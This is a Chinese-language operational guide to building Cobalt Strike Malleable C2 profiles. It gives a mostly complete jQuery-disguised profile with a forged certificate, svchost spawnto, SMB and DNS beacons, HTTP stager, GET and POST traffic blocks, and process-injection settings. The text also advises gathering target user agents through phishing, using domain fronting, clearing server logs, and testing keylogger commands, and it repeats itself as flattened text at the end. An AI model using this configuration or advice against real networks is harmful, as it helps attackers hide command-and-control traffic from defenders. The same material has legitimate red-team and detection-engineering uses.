深入研究cobalt strike malleable C2配置文件
字数 1623 2025-08-29 08:32:30

Cobalt Strike Malleable C2 配置文件深度解析与实战指南

1. Malleable C2 配置文件概述

Cobalt Strike 最强大的功能之一就是可以通过 Malleable C2 配置文件修改 Beacon payload 的行为。这种配置文件允许操作者:

  • 修改 Beacon 的内存占用
  • 更改检入频率
  • 定制网络流量特征
  • 模拟合法应用程序行为

2. 基础使用原则

2.1 核心建议

  1. 永远不要使用默认值:必须使用自定义配置文件
  2. 修改示例配置文件:不要直接使用公开的配置文件,因为它们可能已被安全产品签名
  3. 注意流量模式:即使使用配置文件,仍会产生"beaconing"网络流量模式
  4. 充分测试:在实际使用前必须进行彻底测试

2.2 语法规范

  • 使用双引号而非单引号:
    set useragent "Mozilla/5.0";  // 正确
    set useragent 'Mozilla/5.0';  // 错误
    
  • 允许使用分号:
    prepend "This is an example;";
    
  • 转义特殊字符:
    append "here is \"some\" stuff";
    append "more \\ stuff";
    

3. 配置文件结构详解

3.1 基本配置项

3.1.1 配置文件名称

set profile "jQuery C2 Profile";
  • 仅用于标识,不影响实际功能

3.1.2 Sleep 时间设置

set sleeptime "60000";    // 默认检入间隔(毫秒)
set jitter    "20";       // 随机抖动百分比
  • 建议值:60秒+20%抖动
  • 太规律的间隔容易被检测

3.1.3 用户代理(User-Agent)

set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362";
  • 最佳实践:从目标环境捕获真实 User-Agent
  • 可通过钓鱼邮件等方式获取

3.1.4 SSL 证书配置

https-certificate {
    set CN "jquery.com";
    set O "jQuery Foundation";
    set C "US";
    set L "Boston";
    set OU "Web Framework";
    set ST "Massachusetts";
    set validity "365";
}
  • 建议使用 Let's Encrypt 等可信证书
  • 对于 Domain Fronting,团队服务器需要有效 SSL 证书

3.1.5 SpawnTo 进程设置

set spawnto_x86 "%windir%\\sysnative\\svchost.exe -k localservice -p -s fdPHost";
set spawnto_x64 "%windir%\\sysnative\\svchost.exe -k localservice -p -s fdPHost";
  • 选择指南:
    • 使用受保护的二进制文件
    • 避免触发 UAC 的二进制
    • 架构匹配(x86/x64)
    • 选择通常会建立网络连接的进程

3.2 通信渠道配置

3.2.1 SMB 信标

pipe {
    set name "\\\\.\\pipe\\mshtml\\mswsock";
    set max_instances "1";
}
  • 避免使用默认管道名称
  • 用于主机间点对点通信

3.2.2 DNS 信标

dns {
    set beacon "cdn.jquery.com";
    set max_ttl "300";
    set sleep "0";
    set data "A";
    set sub "cdn.jquery.com";
    set ttl "300";
}
  • 通常用作低速备份通道
  • 容易被检测但常是防御盲点

3.3 分段过程(Staging)

3.3.1 HTTP Stager

http-stager {
    set uri_x86 "/jquery-3.3.1.slim.min.js";
    set uri_x64 "/jquery-3.3.2.slim.min.js";
    
    client {
        header "Accept" "*/*";
        header "Referer" "https://code.jquery.com/";
        header "Accept-Language" "en-US,en;q=0.9";
        
        metadata {
            netbios;
            prepend "var _0xae5b=[";
            append "];";
            parameter "v";
        }
    }
    
    server {
        header "Content-Type" "application/javascript; charset=utf-8";
        header "Server" "NetDNA-cache/2.2";
        header "X-Cache" "HIT";
        
        output {
            prepend "(function(){";
            append "})();";
            print;
        }
    }
}
  • 模拟 CDN 请求样式
  • 可修改为其他 CDN 如 Microsoft jQuery CDN
  • 考虑使用无分段(stageless)payload 以避免触发警报

3.4 HTTP 通信配置

3.4.1 HTTP-GET

http-get {
    set uri "/jquery-3.3.1.min.js";
    
    client {
        header "Accept" "*/*";
        header "Cookie" "__cfduid=CDA7B23B5D3F3D4A8A4A8A4A8A4A8A4A";
        
        metadata {
            base64;
            header "If-None-Match";
            parameter "callback";
        }
    }
    
    server {
        header "Content-Type" "application/javascript; charset=utf-8";
        header "Cache-Control" "public, max-age=14400";
        header "ETag" "\"5b255987-5eef\"";
        
        output {
            prepend "jQuery(function(){";
            append "});";
            print;
        }
    }
}
  • 可设置多个 URI 增加多样性
  • Beacon 在分段时会被分配固定 URI

3.4.2 HTTP-POST

http-post {
    set uri "/jquery-3.3.1.min.js";
    set verb "POST";
    
    client {
        header "Content-Type" "application/x-www-form-urlencoded";
        header "Accept" "*/*";
        
        id {
            parameter "id";
        }
        
        output {
            print;
        }
    }
    
    server {
        header "Content-Type" "application/javascript; charset=utf-8";
        header "Server" "NetDNA-cache/2.2";
        
        output {
            prepend "jQuery(function(){";
            append "});";
            print;
        }
    }
}
  • 可修改为 GET-only 模式(注释 POST 部分)
  • GET-only 在大数据传输时可能有问题

3.5 内存规避技术

transform-x86 {
    prepend "\x90\x90\x90\x90";  // NOP sled
}
transform-x64 {
    prepend "\x90\x90\x90\x90";  // NOP sled
}

process-inject {
    set allocator "VirtualAllocEx";
    set min_alloc "8192";
    set startrwx "false";
    set userwx "false";
}
  • 使用 peclone 工具提取合法进程内存特征
  • 参考"In-Memory Evasion"技术

4. 配置文件开发流程

4.1 选择主题

  • 分析目标环境网络流量
  • 选择常见、可信的应用程序进行模拟
  • 示例:jQuery、CDN流量、云服务API等

4.2 创建配置文件

  1. 基于现有模板修改
  2. 参考 GitHub 上的示例
  3. 逐步调整各模块配置

4.3 验证与测试

4.3.1 使用 c2lint

./c2lint jquery-c2.3.11.profile

4.3.2 手动测试流程

  1. 启动 Wireshark 捕获流量
  2. 使用测试配置文件启动团队服务器
  3. 创建 HTTP 和 SMB 监听器
  4. 使用 Scripted Web Delivery 部署 Beacon
  5. 测试各种 Beacon 功能:
    • 生成不同架构的 Beacon
    • 执行常见命令(keylogger、screenshot等)
    • 检查流量特征是否符合预期

5. 高级技巧与最佳实践

  1. 流量混合:结合 Domain Fronting 等技术
  2. 动态变化:使用多个 URI 和 User-Agent
  3. 环境适配:根据目标网络调整 sleep 时间和抖动
  4. 日志清理:配置清除团队服务器日志
  5. 备用通道:设置 DNS 或 SMB 作为备份

6. 参考资源

  1. 官方 Malleable C2 文档
  2. 如何编写 Malleable C2 配置文件
  3. 随机化 Malleable C2 配置文件生成器
  4. 内存规避技术
  5. Malleable 命令与控制
Cobalt Strike Malleable C2 配置文件深度解析与实战指南 1. Malleable C2 配置文件概述 Cobalt Strike 最强大的功能之一就是可以通过 Malleable C2 配置文件修改 Beacon payload 的行为。这种配置文件允许操作者: 修改 Beacon 的内存占用 更改检入频率 定制网络流量特征 模拟合法应用程序行为 2. 基础使用原则 2.1 核心建议 永远不要使用默认值 :必须使用自定义配置文件 修改示例配置文件 :不要直接使用公开的配置文件,因为它们可能已被安全产品签名 注意流量模式 :即使使用配置文件,仍会产生"beaconing"网络流量模式 充分测试 :在实际使用前必须进行彻底测试 2.2 语法规范 使用双引号而非单引号: 允许使用分号: 转义特殊字符: 3. 配置文件结构详解 3.1 基本配置项 3.1.1 配置文件名称 仅用于标识,不影响实际功能 3.1.2 Sleep 时间设置 建议值:60秒+20%抖动 太规律的间隔容易被检测 3.1.3 用户代理(User-Agent) 最佳实践:从目标环境捕获真实 User-Agent 可通过钓鱼邮件等方式获取 3.1.4 SSL 证书配置 建议使用 Let's Encrypt 等可信证书 对于 Domain Fronting,团队服务器需要有效 SSL 证书 3.1.5 SpawnTo 进程设置 选择指南: 使用受保护的二进制文件 避免触发 UAC 的二进制 架构匹配(x86/x64) 选择通常会建立网络连接的进程 3.2 通信渠道配置 3.2.1 SMB 信标 避免使用默认管道名称 用于主机间点对点通信 3.2.2 DNS 信标 通常用作低速备份通道 容易被检测但常是防御盲点 3.3 分段过程(Staging) 3.3.1 HTTP Stager 模拟 CDN 请求样式 可修改为其他 CDN 如 Microsoft jQuery CDN 考虑使用无分段(stageless)payload 以避免触发警报 3.4 HTTP 通信配置 3.4.1 HTTP-GET 可设置多个 URI 增加多样性 Beacon 在分段时会被分配固定 URI 3.4.2 HTTP-POST 可修改为 GET-only 模式(注释 POST 部分) GET-only 在大数据传输时可能有问题 3.5 内存规避技术 使用 peclone 工具提取合法进程内存特征 参考"In-Memory Evasion"技术 4. 配置文件开发流程 4.1 选择主题 分析目标环境网络流量 选择常见、可信的应用程序进行模拟 示例:jQuery、CDN流量、云服务API等 4.2 创建配置文件 基于现有模板修改 参考 GitHub 上的示例 逐步调整各模块配置 4.3 验证与测试 4.3.1 使用 c2lint 4.3.2 手动测试流程 启动 Wireshark 捕获流量 使用测试配置文件启动团队服务器 创建 HTTP 和 SMB 监听器 使用 Scripted Web Delivery 部署 Beacon 测试各种 Beacon 功能: 生成不同架构的 Beacon 执行常见命令(keylogger、screenshot等) 检查流量特征是否符合预期 5. 高级技巧与最佳实践 流量混合 :结合 Domain Fronting 等技术 动态变化 :使用多个 URI 和 User-Agent 环境适配 :根据目标网络调整 sleep 时间和抖动 日志清理 :配置清除团队服务器日志 备用通道 :设置 DNS 或 SMB 作为备份 6. 参考资源 官方 Malleable C2 文档 如何编写 Malleable C2 配置文件 随机化 Malleable C2 配置文件生成器 内存规避技术 Malleable 命令与控制